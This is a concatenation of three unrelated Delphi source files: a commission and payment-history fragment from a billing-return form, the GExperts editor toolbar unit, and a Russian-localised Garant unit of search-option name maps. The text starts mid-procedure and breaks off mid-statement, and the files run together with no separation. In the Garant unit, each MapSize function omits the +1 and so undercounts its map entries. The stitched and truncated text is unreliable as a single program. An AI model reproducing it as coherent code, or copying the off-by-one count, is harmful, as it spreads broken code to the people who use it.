vPercentual := StrToFloat(FormatFloat('0.0000',(DM1.tExtComissaoVlrBase.AsFloat / fDmCob_Eletronica.tCReceberParcVlrParcCReceber.AsFloat) * 100)); vPercentual2 := StrToFloat(FormatFloat('0.0000',(fDmCob_Eletronica.tCReceberParcVlrParcCReceber.AsFloat / DM1.tNotaFiscalVlrTotalDupl.AsFloat) * 100)); vAux := StrToFloat(FormatFloat('0.00',(DM1.tNotaFiscalVlrIpi.AsFloat * vPercentual2) / 100)); vAux := StrToFloat(FormatFloat('0.00',(vAux * vPercentual) / 100)); DM1.tExtComissaoVlrBase.AsCurrency := DM1.tExtComissaoVlrBase.AsCurrency - vAux; end; end; end; DM1.tExtComissaoVlrComissao.AsFloat := StrToFloat(FormatFloat('0.00',(DM1.tExtComissaoVlrBase.AsFloat * DM1.tExtComissaoPercComissao.AsFloat) / 100)); end else if fDmCob_Eletronica.tCReceberParcVlrComissao.AsFloat > 0 then begin if fDmCob_Eletronica.tCReceberParcQuitParcCReceber.AsBoolean then begin DM1.tExtComissaoVlrComissao.AsFloat := fDmCob_Eletronica.tCReceberParcVlrComissaoRestante.AsFloat; fDmCob_Eletronica.tCReceberParcVlrComissaoRestante.AsFloat := 0; end else begin vPercentual := StrToFloat(FormatFloat('0.0000',(DM1.tExtComissaoVlrBase.AsFloat / fDmCob_Eletronica.tCReceberParcVlrParcCReceber.AsFloat) * 100)); vAux := StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.tCReceberParcVlrComissao.AsFloat * vPercentual / 100)); DM1.tExtComissaoVlrComissao.AsFloat := StrToFloat(FormatFloat('0.00',vAux)); fDmCob_Eletronica.tCReceberParcVlrComissaoRestante.AsFloat := fDmCob_Eletronica.tCReceberParcVlrComissaoRestante.AsFloat - DM1.tExtComissaoVlrComissao.AsFloat; if fDmCob_Eletronica.tCReceberParcVlrComissaoRestante.AsFloat < 0 then fDmCob_Eletronica.tCReceberParcVlrComissaoRestante.AsFloat := 0; end; end; DM1.tExtComissaoTipo.AsString := 'D'; DM1.tExtComissaoSuspensa.AsBoolean := False; DM1.tExtComissao.Post; if not(fDmCob_Eletronica.tCReceberParcHist.State in [dsEdit,dsInsert]) then fDmCob_Eletronica.tCReceberParcHist.Edit; fDmCob_Eletronica.tCReceberParcHistNroLancExtComissao.AsInteger := DM1.tExtComissaoNroLancamento.AsInteger; end; procedure TfCobRetorno.Grava_Historico(Tipo, Historico: String); begin DM2.tCReceberParcHist2.Refresh; DM2.tCReceberParcHist2.Last; fDmCob_Eletronica.tCReceberParcHist.Insert; fDmCob_Eletronica.tCReceberParcHistNumCReceber.AsInteger := fDmCob_Eletronica.tCReceberParcNumCReceber.AsInteger; fDmCob_Eletronica.tCReceberParcHistParcCReceber.AsInteger := fDmCob_Eletronica.tCReceberParcParcCReceber.AsInteger; fDmCob_Eletronica.tCReceberParcHistItem.AsInteger := DM2.tCReceberParcHist2Item.AsInteger + 1; fDmCob_Eletronica.tCReceberParcHistDtHistorico.AsDateTime := Date; fDmCob_Eletronica.tCReceberParcHistCodHistorico.AsCurrency := 0; fDmCob_Eletronica.tCReceberParcHistHistorico.AsString := Historico; fDmCob_Eletronica.tCReceberParcHistCodConta.AsInteger := DM1.tContasCodConta.AsInteger; if Tipo = 'L' then begin fDmCob_Eletronica.tCReceberParcHistDtUltPgto.AsDateTime := fDmCob_Eletronica.mRetornoDtOcorrencia.AsDateTime; if StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.mRetornoVlrPago.AsFloat)) > 0 then fDmCob_Eletronica.tCReceberParcHistVlrUltPgto.AsCurrency := fDmCob_Eletronica.mRetornoVlrPago.AsFloat else fDmCob_Eletronica.tCReceberParcHistVlrUltPgto.AsCurrency := fDmCob_Eletronica.mRetornoVlrTitulo.AsFloat; fDmCob_Eletronica.tCReceberParcHistVlrUltJuros.AsFloat := fDmCob_Eletronica.mRetornoVlrJurosPagos.AsFloat; fDmCob_Eletronica.tCReceberParcHistVlrUltDescontos.AsFloat := fDmCob_Eletronica.mRetornoVlrDesconto.AsFloat; fDmCob_Eletronica.tCReceberParcHistVlrUltDespesas.AsFloat := 0; fDmCob_Eletronica.tCReceberParcHistVlrUltAbatimentos.AsFloat := fDmCob_Eletronica.mRetornoVlrAbatimento.AsFloat; fDmCob_Eletronica.tCReceberParcHistJurosPagos.AsFloat := fDmCob_Eletronica.mRetornoVlrJurosPagos.AsFloat; fDmCob_Eletronica.tCReceberParcHistPgto.AsBoolean := True; fDmCob_Eletronica.tCReceberParcHistNumMov.AsInteger := vNumMov; fDmCob_Eletronica.tCReceberParcHistNumMovJuros.AsInteger := vNumMovJuros; fDmCob_Eletronica.tCReceberParcHistJurosCalc.AsFloat := fDmCob_Eletronica.mRetornoVlrJurosPagos.AsFloat; fDmCob_Eletronica.tCReceberParcHistTipo.AsString := 'PAG'; end else begin fDmCob_Eletronica.tCReceberParcHistPgto.AsBoolean := False; fDmCob_Eletronica.tCReceberParcHistTipo.AsString := 'DIV'; end; end; end.
unit GX_Toolbar; {$I GX_CondDefine.inc} interface uses Classes, ComCtrls, ExtCtrls, Controls; const // Do not localize. EditorToolBarRegKey = 'EditorToolBar'; SeparatorMenuItemString = '-'; type TGXToolBar = class(TToolBar) private // MultiLine editor tab support FTabCtrlHeight: SmallInt; FTabCtrlPanel: TPanel; FTabPanel: TPanel; FTabControl: TTabControl; FBToolBar: TToolBar; FCodePanel: TPanel; FOldMouseUp: TMouseEvent; procedure AddMiddleButtonClose; procedure RemoveMiddleButtonClose; procedure OnMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); // OnClick handler for the toolbar configuration menu item procedure ConfigureToolBarButtonsClick(Sender: TObject); procedure CreateToolBarButtons; procedure FreeToolBarButtons; procedure ApplyEditorTabControlStyles; procedure ClearEditorTabControlStyles; procedure MultiLineTabResize(Sender: TObject); procedure GetEditorComponents; procedure AddMultiLineTabs; procedure RemoveMultiLineTabs; procedure CreateToolBarConfigurationMenu; protected function GetName: TComponentName; procedure SetName(const Value: TComponentName); override; procedure UpdateToolBarEdges; public constructor Create(AOwner: TComponent); override; destructor Destroy; override; procedure RecreateToolBarButtons; procedure SetupToolBarButtons; procedure SetEditorControls; property Name: TComponentName read GetName write SetName; end; implementation uses {$IFOPT D+} GX_DbugIntf, {$ENDIF} SysUtils, Menus, ToolWin, ActnList, Graphics, ToolsAPI, Actions, GX_OtaUtils, GX_EditorEnhancements, GX_GxUtils, GX_IdeUtils, GX_GenericUtils; const SGxEditorDockToolBar = 'GxEditorDockToolBar'; // MultiLine editor tab support: Component name constants ToolBarName = 'ToolBar1'; TabControlPanelName = 'TabControlPanel'; TabControlName = 'TabControl'; CodePanelName = 'CodePanel'; TabPanelName = 'TabPanel'; var GxUnspecifiedImageIndex: Integer = -1; procedure RegisterUnspecifiedBitmapWithIde; const UnspecifiedName = 'Unspecified'; var Bitmap: TBitmap; NTAServices: INTAServices; begin if IsStandAlone then Exit; if GxUnspecifiedImageIndex <> -1 then Exit; Bitmap := nil; GxLoadBitmapForExpert(UnspecifiedName, Bitmap); if Bitmap = nil then Exit; NTAServices := BorlandIDEServices as INTAServices; Assert(Assigned(NTAServices)); GxUnspecifiedImageIndex := NTAServices.AddMasked(Bitmap, Bitmap.TransparentColor, UnspecifiedName); FreeAndNil(Bitmap); end; { TGXToolBar } constructor TGXToolBar.Create(AOwner: TComponent); begin {$IFOPT D+} SendDebug(Format('Creating GXToolBar for %p', [Pointer(AOwner)])); {$ENDIF} inherited; RegisterUnspecifiedBitmapWithIde; SetToolBarGradient(Self); Name := SGxEditorDockToolBar; DockSite := False; Flat := True; AutoSize := True; Wrapable := False; Visible := False; BorderWidth := 0; BevelOuter := bvNone; BevelInner := bvNone; Align := alTop; UpdateToolBarEdges; SetupToolBarButtons; ShowHint := True; GetEditorComponents; // Set Wrapable here to prevent wrapping on startup if FBToolBar <> nil then FBToolBar.Wrapable := False; end; destructor TGXToolBar.Destroy; begin {$IFOPT D+} SendDebug(Format('ToolBar: Destroying GXToolBar from window %p', [Pointer(Owner)])); {$ENDIF} {$IFOPT D+} SendDebug('ToolBar: Clearing editor tab control styles'); {$ENDIF} ClearEditorTabControlStyles; {$IFOPT D+} SendDebug('ToolBar: Calling inherited destructor'); {$ENDIF} inherited; {$IFOPT D+} SendDebug('ToolBar: Destroyed'); {$ENDIF} end; procedure TGXToolBar.CreateToolBarConfigurationMenu; resourcestring SConfigureToolBar = 'Configure Toolbar...'; var APopupMenu: TPopupMenu; MenuItem: TMenuItem; begin APopupMenu := TPopupMenu.Create(Self); MenuItem := TMenuItem.Create(APopupMenu); APopupMenu.Items.Add(MenuItem); MenuItem.Caption := SConfigureToolBar; MenuItem.OnClick := ConfigureToolBarButtonsClick; PopupMenu := APopupMenu; end; procedure TGXToolBar.ConfigureToolBarButtonsClick(Sender: TObject); begin EditorEnhancements.ShowToolBarConfigurationDialog; end; procedure TGXToolBar.SetName(const Value: TComponentName); begin inherited SetName(Value); Caption := ''; end; function TGXToolBar.GetName: TComponentName; begin Result := inherited Name; end; procedure TGXToolBar.SetEditorControls; begin {$IFOPT D+} SendDebug('ToolBar: SetEditorControls'); {$ENDIF} // All these items need to be called from this // method, since they potentially cover multiple // editor windows. ApplyEditorTabControlStyles; end; // Get the components of the editor that need resizing. // Call this every time the components are needed. procedure TGXToolBar.GetEditorComponents; var TabComponent: TComponent; begin if not Assigned(Owner) then Exit; {$IFOPT D+}SendDebug('Getting Editor Components'); {$ENDIF} if not Assigned(FBToolBar) then FBToolBar := Owner.FindComponent(ToolBarName) as TToolBar; if not Assigned(FTabControl) then begin TabComponent := Owner.FindComponent(TabControlName); if TabComponent is TTabControl then FTabControl := TabComponent as TTabControl; end; if not Assigned(FTabCtrlPanel) then FTabCtrlPanel := Owner.FindComponent(TabControlPanelName) as TPanel; if Assigned(FTabCtrlPanel) then begin // Set TabCtrlPanel.Height only on first call to get orginal height // of TabCtrlPanel. This value may not be available in .Create if FTabCtrlHeight = 0 then FTabCtrlHeight := FTabCtrlPanel.Height; if not (FTabCtrlPanel.Align = alTop) then FTabCtrlPanel.Align := alTop; end; if not Assigned(FTabPanel) then FTabPanel := Owner.FindComponent(TabPanelName) as TPanel; if not Assigned(FCodePanel) then FCodePanel := Owner.FindComponent(CodePanelName) as TPanel; if Assigned(FCodePanel) then if not (FCodePanel.Align = alClient) then FCodePanel.Align := alClient; end; procedure TGXToolBar.RemoveMultiLineTabs; begin {$IFOPT D+} SendDebug('Removing multiline editor tabs'); {$ENDIF} GetEditorComponents; if Assigned(FTabControl) and Assigned(FBToolBar) then begin FTabControl.OnResize := nil; FTabControl.MultiLine := False; MultiLineTabResize(FTabControl); end; end; procedure TGXToolBar.AddMultiLineTabs; begin {$IFOPT D+}SendDebug('Adding multiline editor tabs'); {$ENDIF} GetEditorComponents; if Assigned(FTabControl) and Assigned(FBToolBar) then begin FTabControl.MultiLine := True; FTabControl.OnResize := MultiLineTabResize; MultiLineTabResize(FTabControl); end; end; procedure TGXToolBar.MultiLineTabResize(Sender: TObject); var Adjust: Integer; begin {$IFOPT D+}SendDebug('Resizing editor: Adjusting multiline editor tabs'); {$ENDIF} GetEditorComponents; if Assigned(FTabCtrlPanel) and Assigned(FTabControl) and Assigned(FBToolBar) and Assigned(FTabPanel) then begin if FTabControl.Style = tsTabs then Adjust := 6 // Adjustment for normal style tabs else Adjust := 3; // Adjustment for button style tabs // If called while the window is closing, TabControl.RowCount will cause AVs FTabCtrlPanel.Height := (FTabCtrlHeight * FTabControl.RowCount) - (Adjust * (FTabControl.RowCount - 1)); FTabCtrlPanel.Top := 0; FTabCtrlPanel.Left := 0; FTabPanel.Height := FTabCtrlPanel.Height; FTabPanel.Top := 0; FTabPanel.Left := 0; FTabControl.Height := FTabCtrlPanel.Height; FTabControl.Top := 0; FTabControl.Left := 0; FBToolBar.Wrapable := False; end; end; procedure TGXToolBar.ApplyEditorTabControlStyles; var LocalEditorEnhancements: TEditorEnhancements; begin if IsStandAlone then Exit; {$IFOPT D+} SendDebug('Applying editor tab control settings'); {$ENDIF} LocalEditorEnhancements := EditorEnhancements; GetEditorComponents; if Assigned(FTabControl) then begin //Turn MultiLine tabs on and off based on EditorEnhancements MultiLine FTabControl.MultiLine := LocalEditorEnhancements.MultiLine; if LocalEditorEnhancements.MiddleButtonClose then AddMiddleButtonClose else RemoveMiddleButtonClose; if FTabControl.MultiLine then AddMultiLineTabs else RemoveMultiLineTabs; FTabControl.HotTrack := LocalEditorEnhancements.HotTrack; if LocalEditorEnhancements.Buttons then begin if LocalEditorEnhancements.ButtonsFlat then FTabControl.Style := tsFlatButtons else FTabControl.Style := tsButtons; end else FTabControl.Style := tsTabs; end; {$IFOPT D+} SendDebug('Done applying editor tab control settings'); {$ENDIF} end; procedure TGXToolBar.ClearEditorTabControlStyles; begin GetEditorComponents; if Assigned(FTabControl) then begin // Do not call RemoveMultiLineTabs here. It will cause AVs // when the window closes due to calls to MultiLineTabResize. FTabControl.OnResize := nil; FTabControl.MultiLine := False; FTabControl.HotTrack := False; FTabControl.Style := tsTabs; end; end; procedure TGXToolBar.FreeToolBarButtons; begin while ComponentCount > 0 do Components[0].Free; end; procedure TGXToolBar.CreateToolBarButtons; var ToolButton: TToolButton; IdeAction: TContainedAction; ActionName: string; Actions: TStrings; i: Integer; begin Actions := EditorEnhancements.ToolBarActionsList; Assert(Assigned(Actions)); for i := Actions.Count-1 downto 0 do begin ActionName := Actions[i]; if Length(ActionName) = 0 then Continue; if ActionName = SeparatorMenuItemString then begin ToolButton := TToolButton.Create(Self); ToolButton.Style := tbsSeparator; ToolButton.Visible := Align in [alTop, alBottom]; IdeAction := nil; // Separators do not have an attached action end else begin // Determine whether the action exists within the realm of the current IDE. // If it doesn't exist, ignore it. // We probably want to consider adding the tool button nevertheless, but // with a warning or text description that the action is missing? IdeAction := GxOtaGetIdeActionByName(ActionName); if Assigned(IdeAction) then begin ToolButton := TToolButton.Create(Self); {$IFDEF GX_VER160_up} if (IdeAction is TControlAction) then ToolButton.Style := tbsDropDown; {$ENDIF} end else ToolButton := nil; end; if Assigned(ToolButton) then begin ToolButton.Wrap := Align in [alLeft, alRight]; ToolButton.Action := IdeAction; if Assigned(IdeAction) and (ToolButton.Caption = '') then ToolButton.Caption := IdeAction.Name; if ToolButton.Hint = '' then ToolButton.Hint := StripHotkey(ToolButton.Caption); ToolButton.Parent := Self; ToolButton.AutoSize := True; // It would be better to just show the caption, but I don't know how... if IdeAction is TCustomAction then if TCustomAction(IdeAction).ImageIndex = -1 then ToolButton.ImageIndex := GxUnspecifiedImageIndex; end; end; CreateToolBarConfigurationMenu; end; procedure TGXToolBar.RecreateToolBarButtons; begin Visible := False; FreeToolBarButtons; CreateToolBarButtons; SetupToolBarButtons; UpdateToolBarEdges; end; procedure TGXToolBar.SetupToolBarButtons; var i: Integer; Button: TToolButton; begin for i := 0 to ButtonCount - 1 do begin Button := Buttons[i]; if Align in [alLeft, alRight] then begin Button.Wrap := True; if Button.Style = tbsSeparator then Button.Visible := False; end else begin Button.Wrap := False; if Button.Style = tbsSeparator then Button.Visible := True; end; end; end; procedure TGXToolBar.UpdateToolBarEdges; const AlignToEdgeMap: array[alTop..alRight] of TEdgeBorder = (ebBottom, ebTop, ebRight, ebLeft); begin Assert(Align in [alBottom, alTop, alRight, alLeft]); EdgeBorders := [AlignToEdgeMap[Self.Align]]; end; procedure TGXToolBar.AddMiddleButtonClose; var TabMouseUp: TMouseEvent; SelfMouseUp: TMouseEvent; begin if Assigned(FTabControl) then begin TabMouseUp := FTabControl.OnMouseUp; SelfMouseUp := OnMouseUp; if (@TabMouseUp <> @SelfMouseUp) then begin FOldMouseUp := FTabControl.OnMouseUp; FTabControl.OnMouseUp := OnMouseUp; end; end; end; procedure TGXToolBar.OnMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var OldIndex, NewIndex:Integer; CanChange: Boolean; begin if Assigned(FOldMouseUp) then FOldMouseUp(Sender, Button, Shift, X, Y); if (Button = mbMiddle) then begin CanChange := True; OldIndex := FTabControl.TabIndex; NewIndex := FTabControl.IndexOfTabAt(X, Y); if NewIndex >= 0 then begin FTabControl.TabIndex := FTabControl.IndexOfTabAt(X, Y); if RunningDelphi7OrGreater then FTabControl.OnChanging(FTabControl, CanChange); if CanChange then begin FTabControl.OnChange(FTabControl); GxOtaCloseCurrentEditorTab; end else FTabControl.TabIndex := OldIndex; end; end; end; procedure TGXToolBar.RemoveMiddleButtonClose; begin if Assigned(FOldMouseUp) then FTabControl.OnMouseUp := FOldMouseUp; FOldMouseUp := nil; end; end.
unit nsAppConfigRes; {* Ресурсы для nsAppConfig } // Модуль: "w:\garant6x\implementation\Garant\GbaNemesis\Config\nsAppConfigRes.pas" // Стереотип: "UtilityPack" // Элемент модели: "nsAppConfigRes" MUID: (4B97B148028B) {$Include w:\garant6x\implementation\Garant\nsDefine.inc} interface {$If NOT Defined(Admin) AND NOT Defined(Monitorings)} uses l3IntfUses , l3Interfaces , l3StringIDEx , afwInterfaces , l3CProtoObject ; const {* Локализуемые строки ContextParamsMessages } str_nsc_cpmTreeLevelDistHint: Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_cpmTreeLevelDistHint'; rValue : 'Находятся ли искомые слова на разных уровнях иерархического дерева или в пределах одного уровня'); {* 'Находятся ли искомые слова на разных уровнях иерархического дерева или в пределах одного уровня' } str_nsc_cpmWordOrderHint: Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_cpmWordOrderHint'; rValue : 'Должны ли слова строго следовать друг за другом или нет'); {* 'Должны ли слова строго следовать друг за другом или нет' } str_nsc_cpmWordPositionHint: Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_cpmWordPositionHint'; rValue : 'Положение контекста в слове, строке'); {* 'Положение контекста в слове, строке' } {* Локализуемые строки WordPositionNames } str_nsc_wpAnyPathWord: Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_wpAnyPathWord'; rValue : 'В любой части слова'); {* 'В любой части слова' } str_nsc_wpAtBeginWord: Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_wpAtBeginWord'; rValue : 'С начала слова'); {* 'С начала слова' } str_nsc_wpAtBeginString: Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_wpAtBeginString'; rValue : 'С начала строки'); {* 'С начала строки' } {* Карта преобразования локализованных строк WordPositionNames } WordPositionNamesMap: array [Tl3WordPosition] of Pl3StringIDEx = ( @str_nsc_wpAnyPathWord , @str_nsc_wpAtBeginWord , @str_nsc_wpAtBeginString ); {* Локализуемые строки TreeLevelDistNames } str_nsc_tldAllLevels: Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_tldAllLevels'; rValue : 'Во всех уровнях'); {* 'Во всех уровнях' } str_nsc_tldOneLevel: Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_tldOneLevel'; rValue : 'В пределах одного уровня'); {* 'В пределах одного уровня' } {* Карта преобразования локализованных строк TreeLevelDistNames } TreeLevelDistNamesMap: array [Tl3TreeLevelDist] of Pl3StringIDEx = ( @str_nsc_tldAllLevels , @str_nsc_tldOneLevel ); {* Локализуемые строки WordOrderNames } str_nsc_woAnyOrder: Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_woAnyOrder'; rValue : 'В любом порядке'); {* 'В любом порядке' } str_nsc_woAsWrote: Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_woAsWrote'; rValue : 'С учетом порядка'); {* 'С учетом порядка' } {* Карта преобразования локализованных строк WordOrderNames } WordOrderNamesMap: array [Tl3WordOrder] of Pl3StringIDEx = ( @str_nsc_woAnyOrder , @str_nsc_woAsWrote ); type WordPositionNamesMapHelper = {final} class {* Утилитный класс для преобразования значений WordPositionNamesMap } public class procedure FillStrings(const aStrings: IafwStrings); {* Заполнение списка строк значениями } class function DisplayNameToValue(const aDisplayName: Il3CString): Tl3WordPosition; {* Преобразование строкового значения к порядковому } end;//WordPositionNamesMapHelper TWordPositionNamesMapImplPrim = {abstract} class(Tl3CProtoObject, Il3IntegerValueMap) {* Класс для реализации мапы для WordPositionNamesMap } protected function pm_GetMapID: Tl3ValueMapID; procedure GetDisplayNames(const aList: Il3StringsEx); {* заполняет список значениями "UI-строка" } function MapSize: Integer; {* количество элементов в мапе. } function DisplayNameToValue(const aDisplayName: Il3CString): Integer; function ValueToDisplayName(aValue: Integer): Il3CString; public class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TWordPositionNamesMapImplPrim } end;//TWordPositionNamesMapImplPrim TWordPositionNamesMapImpl = {final} class(TWordPositionNamesMapImplPrim) {* Класс для реализации мапы для WordPositionNamesMap } public class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TWordPositionNamesMapImpl } class function Exists: Boolean; {* Проверяет создан экземпляр синглетона или нет } end;//TWordPositionNamesMapImpl TreeLevelDistNamesMapHelper = {final} class {* Утилитный класс для преобразования значений TreeLevelDistNamesMap } public class procedure FillStrings(const aStrings: IafwStrings); {* Заполнение списка строк значениями } class function DisplayNameToValue(const aDisplayName: Il3CString): Tl3TreeLevelDist; {* Преобразование строкового значения к порядковому } end;//TreeLevelDistNamesMapHelper TTreeLevelDistNamesMapImplPrim = {abstract} class(Tl3CProtoObject, Il3IntegerValueMap) {* Класс для реализации мапы для TreeLevelDistNamesMap } protected function pm_GetMapID: Tl3ValueMapID; procedure GetDisplayNames(const aList: Il3StringsEx); {* заполняет список значениями "UI-строка" } function MapSize: Integer; {* количество элементов в мапе. } function DisplayNameToValue(const aDisplayName: Il3CString): Integer; function ValueToDisplayName(aValue: Integer): Il3CString; public class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TTreeLevelDistNamesMapImplPrim } end;//TTreeLevelDistNamesMapImplPrim TTreeLevelDistNamesMapImpl = {final} class(TTreeLevelDistNamesMapImplPrim) {* Класс для реализации мапы для TreeLevelDistNamesMap } public class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TTreeLevelDistNamesMapImpl } class function Exists: Boolean; {* Проверяет создан экземпляр синглетона или нет } end;//TTreeLevelDistNamesMapImpl WordOrderNamesMapHelper = {final} class {* Утилитный класс для преобразования значений WordOrderNamesMap } public class procedure FillStrings(const aStrings: IafwStrings); {* Заполнение списка строк значениями } class function DisplayNameToValue(const aDisplayName: Il3CString): Tl3WordOrder; {* Преобразование строкового значения к порядковому } end;//WordOrderNamesMapHelper TWordOrderNamesMapImplPrim = {abstract} class(Tl3CProtoObject, Il3IntegerValueMap) {* Класс для реализации мапы для WordOrderNamesMap } protected function pm_GetMapID: Tl3ValueMapID; procedure GetDisplayNames(const aList: Il3StringsEx); {* заполняет список значениями "UI-строка" } function MapSize: Integer; {* количество элементов в мапе. } function DisplayNameToValue(const aDisplayName: Il3CString): Integer; function ValueToDisplayName(aValue: Integer): Il3CString; public class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TWordOrderNamesMapImplPrim } end;//TWordOrderNamesMapImplPrim TWordOrderNamesMapImpl = {final} class(TWordOrderNamesMapImplPrim) {* Класс для реализации мапы для WordOrderNamesMap } public class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TWordOrderNamesMapImpl } class function Exists: Boolean; {* Проверяет создан экземпляр синглетона или нет } end;//TWordOrderNamesMapImpl {$IfEnd} // NOT Defined(Admin) AND NOT Defined(Monitorings) implementation {$If NOT Defined(Admin) AND NOT Defined(Monitorings)} uses l3ImplUses , l3MessageID , l3String , SysUtils , l3Base //#UC START# *4B97B148028Bimpl_uses* //#UC END# *4B97B148028Bimpl_uses* ; var g_TWordPositionNamesMapImpl: Pointer = nil; {* Экземпляр синглетона TWordPositionNamesMapImpl } var g_TTreeLevelDistNamesMapImpl: Pointer = nil; {* Экземпляр синглетона TTreeLevelDistNamesMapImpl } var g_TWordOrderNamesMapImpl: Pointer = nil; {* Экземпляр синглетона TWordOrderNamesMapImpl } procedure TWordPositionNamesMapImplFree; {* Метод освобождения экземпляра синглетона TWordPositionNamesMapImpl } begin IUnknown(g_TWordPositionNamesMapImpl) := nil; end;//TWordPositionNamesMapImplFree procedure TTreeLevelDistNamesMapImplFree; {* Метод освобождения экземпляра синглетона TTreeLevelDistNamesMapImpl } begin IUnknown(g_TTreeLevelDistNamesMapImpl) := nil; end;//TTreeLevelDistNamesMapImplFree procedure TWordOrderNamesMapImplFree; {* Метод освобождения экземпляра синглетона TWordOrderNamesMapImpl } begin IUnknown(g_TWordOrderNamesMapImpl) := nil; end;//TWordOrderNamesMapImplFree class procedure WordPositionNamesMapHelper.FillStrings(const aStrings: IafwStrings); {* Заполнение списка строк значениями } var l_Index: Tl3WordPosition; begin aStrings.Clear; for l_Index := Low(l_Index) to High(l_Index) do aStrings.Add(WordPositionNamesMap[l_Index].AsCStr); end;//WordPositionNamesMapHelper.FillStrings class function WordPositionNamesMapHelper.DisplayNameToValue(const aDisplayName: Il3CString): Tl3WordPosition; {* Преобразование строкового значения к порядковому } var l_Index: Tl3WordPosition; begin for l_Index := Low(l_Index) to High(l_Index) do if l3Same(aDisplayName, WordPositionNamesMap[l_Index].AsCStr) then begin Result := l_Index; Exit; end;//l3Same.. raise Exception.CreateFmt('Display name "%s" not found in map "WordPositionNamesMap"', [l3Str(aDisplayName)]); end;//WordPositionNamesMapHelper.DisplayNameToValue class function TWordPositionNamesMapImplPrim.Make: Il3IntegerValueMap; {* Фабричный метод для TWordPositionNamesMapImplPrim } var l_Inst : TWordPositionNamesMapImplPrim; begin l_Inst := Create; try Result := l_Inst; finally l_Inst.Free; end;//try..finally end;//TWordPositionNamesMapImplPrim.Make function TWordPositionNamesMapImplPrim.pm_GetMapID: Tl3ValueMapID; begin l3FillChar(Result, SizeOf(Result)); Assert(false); end;//TWordPositionNamesMapImplPrim.pm_GetMapID procedure TWordPositionNamesMapImplPrim.GetDisplayNames(const aList: Il3StringsEx); {* заполняет список значениями "UI-строка" } begin WordPositionNamesMapHelper.FillStrings(aList); end;//TWordPositionNamesMapImplPrim.GetDisplayNames function TWordPositionNamesMapImplPrim.MapSize: Integer; {* количество элементов в мапе. } begin Result := Ord(High(Tl3WordPosition)) - Ord(Low(Tl3WordPosition)); end;//TWordPositionNamesMapImplPrim.MapSize function TWordPositionNamesMapImplPrim.DisplayNameToValue(const aDisplayName: Il3CString): Integer; begin Result := Ord(WordPositionNamesMapHelper.DisplayNameToValue(aDisplayName)); end;//TWordPositionNamesMapImplPrim.DisplayNameToValue function TWordPositionNamesMapImplPrim.ValueToDisplayName(aValue: Integer): Il3CString; begin Assert(aValue >= Ord(Low(Tl3WordPosition))); Assert(aValue <= Ord(High(Tl3WordPosition))); Result := WordPositionNamesMap[Tl3WordPosition(aValue)].AsCStr; end;//TWordPositionNamesMapImplPrim.ValueToDisplayName class function TWordPositionNamesMapImpl.Make: Il3IntegerValueMap; {* Фабричный метод для TWordPositionNamesMapImpl } begin if (g_TWordPositionNamesMapImpl = nil) then begin l3System.AddExitProc(TWordPositionNamesMapImplFree); Il3IntegerValueMap(g_TWordPositionNamesMapImpl) := inherited Make; end; Result := Il3IntegerValueMap(g_TWordPositionNamesMapImpl); end;//TWordPositionNamesMapImpl.Make class function TWordPositionNamesMapImpl.Exists: Boolean; {* Проверяет создан экземпляр синглетона или нет } begin Result := g_TWordPositionNamesMapImpl <> nil; end;//TWordPositionNamesMapImpl.Exists class procedure TreeLevelDistNamesMapHelper.FillStrings(const aStrings: IafwStrings); {* Заполнение списка строк значениями } var l_Index: Tl3TreeLevelDist; begin aStrings.Clear; for l_Index := Low(l_Index) to High(l_Index) do aStrings.Add(TreeLevelDistNamesMap[l_Index].AsCStr); end;//TreeLevelDistNamesMapHelper.FillStrings class function TreeLevelDistNamesMapHelper.DisplayNameToValue(const aDisplayName: Il3CString): Tl3TreeLevelDist; {* Преобразование строкового значения к порядковому } var l_Index: Tl3TreeLevelDist; begin for l_Index := Low(l_Index) to High(l_Index) do if l3Same(aDisplayName, TreeLevelDistNamesMap[l_Index].AsCStr) then begin Result := l_Index; Exit; end;//l3Same.. raise Exception.CreateFmt('Display name "%s" not found in map "TreeLevelDistNamesMap"', [l3Str(aDisplayName)]); end;//TreeLevelDistNamesMapHelper.DisplayNameToValue class function TTreeLevelDistNamesMapImplPrim.Make: Il3IntegerValueMap; {* Фабричный метод для TTreeLevelDistNamesMapImplPrim } var l_Inst : TTreeLevelDistNamesMapImplPrim; begin l_Inst := Create; try Result := l_Inst; finally l_Inst.Free; end;//try..finally end;//TTreeLevelDistNamesMapImplPrim.Make function TTreeLevelDistNamesMapImplPrim.pm_GetMapID: Tl3ValueMapID; begin l3FillChar(Result, SizeOf(Result)); Assert(false); end;//TTreeLevelDistNamesMapImplPrim.pm_GetMapID procedure TTreeLevelDistNamesMapImplPrim.GetDisplayNames(const aList: Il3StringsEx); {* заполняет список значениями "UI-строка" } begin TreeLevelDistNamesMapHelper.FillStrings(aList); end;//TTreeLevelDistNamesMapImplPrim.GetDisplayNames function TTreeLevelDistNamesMapImplPrim.MapSize: Integer; {* количество элементов в мапе. } begin Result := Ord(High(Tl3TreeLevelDist)) - Ord(Low(Tl3TreeLevelDist)); end;//TTreeLevelDistNamesMapImplPrim.MapSize function TTreeLevelDistNamesMapImplPrim.DisplayNameToValue(const aDisplayName: Il3CString): Integer; begin Result := Ord(TreeLevelDistNamesMapHelper.DisplayNameToValue(aDisplayName)); end;//TTreeLevelDistNamesMapImplPrim.DisplayNameToValue function TTreeLevelDistNamesMapImplPrim.ValueToDisplayName(aValue: Integer): Il3CString; begin Assert(aValue >= 